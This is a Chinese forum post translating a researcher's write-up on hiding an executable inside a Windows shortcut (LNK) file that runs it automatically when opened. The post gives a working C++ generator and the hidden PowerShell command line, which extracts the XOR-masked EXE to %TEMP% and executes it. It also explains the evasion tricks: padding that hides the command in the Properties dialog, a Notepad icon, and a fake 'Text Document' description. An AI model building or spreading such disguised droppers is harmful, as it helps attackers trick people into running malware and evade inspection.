飘云阁

 找回密码
 加入我们

QQ登录

只需一步,快速开始

查看: 1626|回复: 1

[C/C++] EmbedExeLnk - 在LNK内嵌入EXE并自动执行

[复制链接]
  • TA的每日心情
    开心
    2019-3-15 11:00
  • 签到天数: 262 天

    [LV.8]以坛为家I

    发表于 2022-2-10 11:02:22 | 显示全部楼层 |阅读模式
    翻译
    原文地址:https://www.x86matthew.com/view_post?id=embed_exe_lnk
    功能:在LNK内嵌入EXE并自动执行
    我已经在自然环境下看到了各种恶意的LNK文件。这些链接文件通常执行一个脚本(Powershell、VBScript等),下载一个外部payload。

    我给自己设定的挑战是创建一个内嵌EXE文件的LNK文件,而不需要外部下载。

    这是通过创建一个LNK文件来实现的,EXE文件被附加到最后。LNK文件执行一些Powershell命令,从LNK的末尾读取EXE的内容,将其复制到%TEMP%文件夹中的一个文件,并执行它。

    我开发了一个程序,从目标EXE文件中创建一个LNK。

    这种方法遇到一些问题:
    1. 找到LNK文件的文件名。
    当执行Powershell命令从LNK中提取EXE时,我们不知道已经执行的LNK文件的文件名。我们可以对文件名进行硬编码,但这不是一个可靠的解决方案。通过在Powershell命令中存储LNK文件的总大小,并检查当前目录中的所有*.LNK文件,以找到一个具有匹配文件大小的文件来解决这个问题。

    2. 找到LNK中EXE数据的偏移量。
    这一点通过在Powershell命令中存储原始LNK文件的长度(不包括附加的EXE数据)来解决。

    3. 在查看LNK文件的 "属性 "时,Powershell命令是可见的。
    这一点通过在目标字段前加上512个空格字符得到了解决。这使 "属性 "对话框中的文本字段溢出,只显示空格。
    lnk_target.png
    4. LNK文件有一个可执行文件的图标。
    通过将图标位置(使用HasIconLocation标志)设置为"%windir%\system32\notepad.exe "来解决这个问题。
    lnk_icon.png
    5. 悬停在LNK文件上的位置显示为 "cmd"。
    lnk_location_1.png
    通过将快捷方式描述(使用“名称”标志)设置为“Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23“
    lnk_location_2.png
    6. 在十六进制编辑器中打开LNK文件时,EXE文件清晰可见。
    通过使用XOR对EXE文件数据的每个字节进行 "加密",并使用Powershell对其进行 "解密",这一点得到了改善。

    完整的LNK目标看起来像这样。

    [Bash shell] 纯文本查看 复制代码
    cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file^| select -Skip [LNK_FILE_SIZE_EXCLUDING_EXE])) -Encoding Byte; ^& $path;


    下面是完整的概念验证程序代码:

    [C++] 纯文本查看 复制代码
    #include <stdio.h>
    #include <windows.h>
    
    #define INVALID_SET_FILE_POINTER 0xFFFFFFFF
    
    #define HasName 0x00000004
    #define HasArguments 0x00000020
    #define HasIconLocation 0x00000040
    #define IsUnicode 0x00000080
    #define HasExpString 0x00000200
    #define PreferEnvironmentPath 0x02000000
    
    struct ShellLinkHeaderStruct
    {
    	DWORD dwHeaderSize;
    	CLSID LinkCLSID;
    	DWORD dwLinkFlags;
    	DWORD dwFileAttributes;
    	FILETIME CreationTime;
    	FILETIME AccessTime;
    	FILETIME WriteTime;
    	DWORD dwFileSize;
    	DWORD dwIconIndex;
    	DWORD dwShowCommand;
    	WORD wHotKey;
    	WORD wReserved1;
    	DWORD dwReserved2;
    	DWORD dwReserved3;
    };
    
    struct EnvironmentVariableDataBlockStruct
    {
    	DWORD dwBlockSize;
    	DWORD dwBlockSignature;
    	char szTargetAnsi[MAX_PATH];
    	wchar_t wszTargetUnicode[MAX_PATH];
    };
    
    DWORD CreateLinkFile(char *pExePath, char *pOutputLinkPath, char *pLinkIconPath, char *pLinkDescription)
    {
    	HANDLE hLinkFile = NULL;
    	HANDLE hExeFile = NULL;
    	ShellLinkHeaderStruct ShellLinkHeader;
    	EnvironmentVariableDataBlockStruct EnvironmentVariableDataBlock;
    	DWORD dwBytesWritten = 0;
    	WORD wLinkDescriptionLength = 0;
    	wchar_t wszLinkDescription[512];
    	WORD wCommandLineArgumentsLength = 0;
    	wchar_t wszCommandLineArguments[8192];
    	WORD wIconLocationLength = 0;
    	wchar_t wszIconLocation[512];
    	BYTE bExeDataBuffer[1024];
    	DWORD dwBytesRead = 0;
    	DWORD dwEndOfLinkPosition = 0;
    	DWORD dwCommandLineArgsStartPosition = 0;
    	wchar_t *pCmdLinePtr = NULL;
    	wchar_t wszOverwriteSkipBytesValue[16];
    	wchar_t wszOverwriteSearchLnkFileSizeValue[16];
    	BYTE bXorEncryptValue = 0;
    	DWORD dwTotalFileSize = 0;
    
    	// set xor encrypt value
    	bXorEncryptValue = 0x77;
    
    	// create link file
    	hLinkFile = CreateFile(pOutputLinkPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    	if(hLinkFile == INVALID_HANDLE_VALUE)
    	{
    		printf("Failed to create output file\n");
    		return 1;
    	}
    
    	// initialise link header
    	memset((void*)&ShellLinkHeader, 0, sizeof(ShellLinkHeader));
    	ShellLinkHeader.dwHeaderSize = sizeof(ShellLinkHeader);
    	CLSIDFromString(L"{00021401-0000-0000-C000-000000000046}", &ShellLinkHeader.LinkCLSID);
    	ShellLinkHeader.dwLinkFlags = HasArguments | HasExpString | PreferEnvironmentPath | IsUnicode | HasName | HasIconLocation;
    	ShellLinkHeader.dwFileAttributes = 0;
    	ShellLinkHeader.CreationTime.dwHighDateTime = 0;
    	ShellLinkHeader.CreationTime.dwLowDateTime = 0;
    	ShellLinkHeader.AccessTime.dwHighDateTime = 0;
    	ShellLinkHeader.AccessTime.dwLowDateTime = 0;
    	ShellLinkHeader.WriteTime.dwHighDateTime = 0;
    	ShellLinkHeader.WriteTime.dwLowDateTime = 0;
    	ShellLinkHeader.dwFileSize = 0;
    	ShellLinkHeader.dwIconIndex = 0;
    	ShellLinkHeader.dwShowCommand = SW_SHOWMINNOACTIVE;
    	ShellLinkHeader.wHotKey = 0;
    
    	// write ShellLinkHeader
    	if(WriteFile(hLinkFile, (void*)&ShellLinkHeader, sizeof(ShellLinkHeader), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// set link description
    	memset(wszLinkDescription, 0, sizeof(wszLinkDescription));
    	mbstowcs(wszLinkDescription, pLinkDescription, (sizeof(wszLinkDescription) / sizeof(wchar_t)) - 1);
    	wLinkDescriptionLength = (WORD)wcslen(wszLinkDescription);
    
    	// write LinkDescriptionLength
    	if(WriteFile(hLinkFile, (void*)&wLinkDescriptionLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// write LinkDescription
    	if(WriteFile(hLinkFile, (void*)wszLinkDescription, wLinkDescriptionLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// set target command-line
    	memset(wszCommandLineArguments, 0, sizeof(wszCommandLineArguments));
    	_snwprintf(wszCommandLineArguments, (sizeof(wszCommandLineArguments) / sizeof(wchar_t)) - 1, L"%512S/c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 0x00000000} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0x%02X }; $path = '%%temp%%\\tmp' + (Get-Random) + '.exe'; sc $path ([byte[]]($file ^| select -Skip 000000)) -Encoding Byte; ^& $path;", "", bXorEncryptValue);
    	wCommandLineArgumentsLength = (WORD)wcslen(wszCommandLineArguments);
    
    	// write CommandLineArgumentsLength
    	if(WriteFile(hLinkFile, (void*)&wCommandLineArgumentsLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// store start of command-line arguments position
    	dwCommandLineArgsStartPosition = GetFileSize(hLinkFile, NULL);
    
    	// write CommandLineArguments
    	if(WriteFile(hLinkFile, (void*)wszCommandLineArguments, wCommandLineArgumentsLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// set link icon path
    	memset(wszIconLocation, 0, sizeof(wszIconLocation));
    	mbstowcs(wszIconLocation, pLinkIconPath, (sizeof(wszIconLocation) / sizeof(wchar_t)) - 1);
    	wIconLocationLength = (WORD)wcslen(wszIconLocation);
    
    	// write IconLocationLength
    	if(WriteFile(hLinkFile, (void*)&wIconLocationLength, sizeof(WORD), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// write IconLocation
    	if(WriteFile(hLinkFile, (void*)wszIconLocation, wIconLocationLength * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// initialise environment variable data block
    	memset((void*)&EnvironmentVariableDataBlock, 0, sizeof(EnvironmentVariableDataBlock));
    	EnvironmentVariableDataBlock.dwBlockSize = sizeof(EnvironmentVariableDataBlock);
    	EnvironmentVariableDataBlock.dwBlockSignature = 0xA0000001;
    	strncpy(EnvironmentVariableDataBlock.szTargetAnsi, "%windir%\\system32\\cmd.exe", sizeof(EnvironmentVariableDataBlock.szTargetAnsi) - 1);
    	mbstowcs(EnvironmentVariableDataBlock.wszTargetUnicode, EnvironmentVariableDataBlock.szTargetAnsi, (sizeof(EnvironmentVariableDataBlock.wszTargetUnicode) / sizeof(wchar_t)) - 1);
    
    	// write EnvironmentVariableDataBlock
    	if(WriteFile(hLinkFile, (void*)&EnvironmentVariableDataBlock, sizeof(EnvironmentVariableDataBlock), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// store end of link data position
    	dwEndOfLinkPosition = GetFileSize(hLinkFile, NULL);
    
    	// open target exe file
    	hExeFile = CreateFile(pExePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    	if(hExeFile == INVALID_HANDLE_VALUE)
    	{
    		printf("Failed to open exe file\n");
    
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// append exe file to the end of the lnk file
    	for(;;)
    	{
    		// read data from exe file
    		if(ReadFile(hExeFile, bExeDataBuffer, sizeof(bExeDataBuffer), &dwBytesRead, NULL) == 0)
    		{
    			// error
    			CloseHandle(hExeFile);
    			CloseHandle(hLinkFile);
    
    			return 1;
    		}
    
    		// check for end of file
    		if(dwBytesRead == 0)
    		{
    			break;
    		}
    
    		// "encrypt" the exe file data
    		for(DWORD i = 0; i < dwBytesRead; i++)
    		{
    			bExeDataBuffer[i] ^= bXorEncryptValue;
    		}
    
    		// write data to lnk file
    		if(WriteFile(hLinkFile, bExeDataBuffer, dwBytesRead, &dwBytesWritten, NULL) == 0)
    		{
    			// error
    			CloseHandle(hExeFile);
    			CloseHandle(hLinkFile);
    
    			return 1;
    		}
    	}
    
    	// close exe file handle
    	CloseHandle(hExeFile);
    
    	// store total file size
    	dwTotalFileSize = GetFileSize(hLinkFile, NULL);
    
    	// find the offset value of the number of bytes to skip in the command-line arguments
    	pCmdLinePtr = wcsstr(wszCommandLineArguments, L"select -Skip 000000)");
    	if(pCmdLinePtr == NULL)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    	pCmdLinePtr += strlen("select -Skip ");
    
    	// move the file pointer back to the "000000" value in the command-line arguments
    	if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// overwrite link file size
    	memset(wszOverwriteSkipBytesValue, 0, sizeof(wszOverwriteSkipBytesValue));
    	_snwprintf(wszOverwriteSkipBytesValue, (sizeof(wszOverwriteSkipBytesValue) / sizeof(wchar_t)) - 1, L"%06u", dwEndOfLinkPosition);
    	if(WriteFile(hLinkFile, (void*)wszOverwriteSkipBytesValue, wcslen(wszOverwriteSkipBytesValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// find the offset value of the total lnk file length in the command-line arguments
    	pCmdLinePtr = wcsstr(wszCommandLineArguments, L"_.length -eq 0x00000000}");
    	if(pCmdLinePtr == NULL)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    	pCmdLinePtr += strlen("_.length -eq ");
    
    	// move the file pointer back to the "0x00000000" value in the command-line arguments
    	if(SetFilePointer(hLinkFile, dwCommandLineArgsStartPosition + (DWORD)((BYTE*)pCmdLinePtr - (BYTE*)wszCommandLineArguments), NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// overwrite link file size
    	memset(wszOverwriteSearchLnkFileSizeValue, 0, sizeof(wszOverwriteSearchLnkFileSizeValue));
    	_snwprintf(wszOverwriteSearchLnkFileSizeValue, (sizeof(wszOverwriteSearchLnkFileSizeValue) / sizeof(wchar_t)) - 1, L"0x%08X", dwTotalFileSize);
    	if(WriteFile(hLinkFile, (void*)wszOverwriteSearchLnkFileSizeValue, wcslen(wszOverwriteSearchLnkFileSizeValue) * sizeof(wchar_t), &dwBytesWritten, NULL) == 0)
    	{
    		// error
    		CloseHandle(hLinkFile);
    
    		return 1;
    	}
    
    	// close output file handle
    	CloseHandle(hLinkFile);
    
    	return 0;
    }
    
    int main(int argc, char *argv[])
    {
    	char *pExePath = NULL;
    	char *pOutputLinkPath = NULL;
    
    	printf("EmbedExeLnk - [url]www.x86matthew.com[/url]\n\n");
    
    	if(argc != 3)
    	{
    		printf("Usage: %s [exe_path] [output_lnk_path]\n\n", argv[0]);
    
    		return 1;
    	}
    
    	// get params
    	pExePath = argv[1];
    	pOutputLinkPath = argv[2];
    
    	// create a link file containing the target exe
    	if(CreateLinkFile(pExePath, pOutputLinkPath, "%windir%\\system32\\notepad.exe", "Type: Text Document\nSize: 5.23 KB\nDate modified: 01/02/2020 11:23") != 0)
    	{
    		printf("Error\n");
    
    		return 1;
    	}
    
    	printf("Finished\n");
    
    	retu

    下载样本LNK文件
    https://www.x86matthew.com/sample/x86matthew.lnk
    (这将执行我用汇编写的一个小程序,它调用MessageBoxA)
    lnk_exec.png
    PYG19周年生日快乐!
  • TA的每日心情
    慵懒
    2023-10-27 12:58
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    发表于 2022-2-26 20:47:51 | 显示全部楼层
    额,感觉还可以
    PYG19周年生日快乐!
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 加入我们

    本版积分规则

    快速回复 返回顶部 返回列表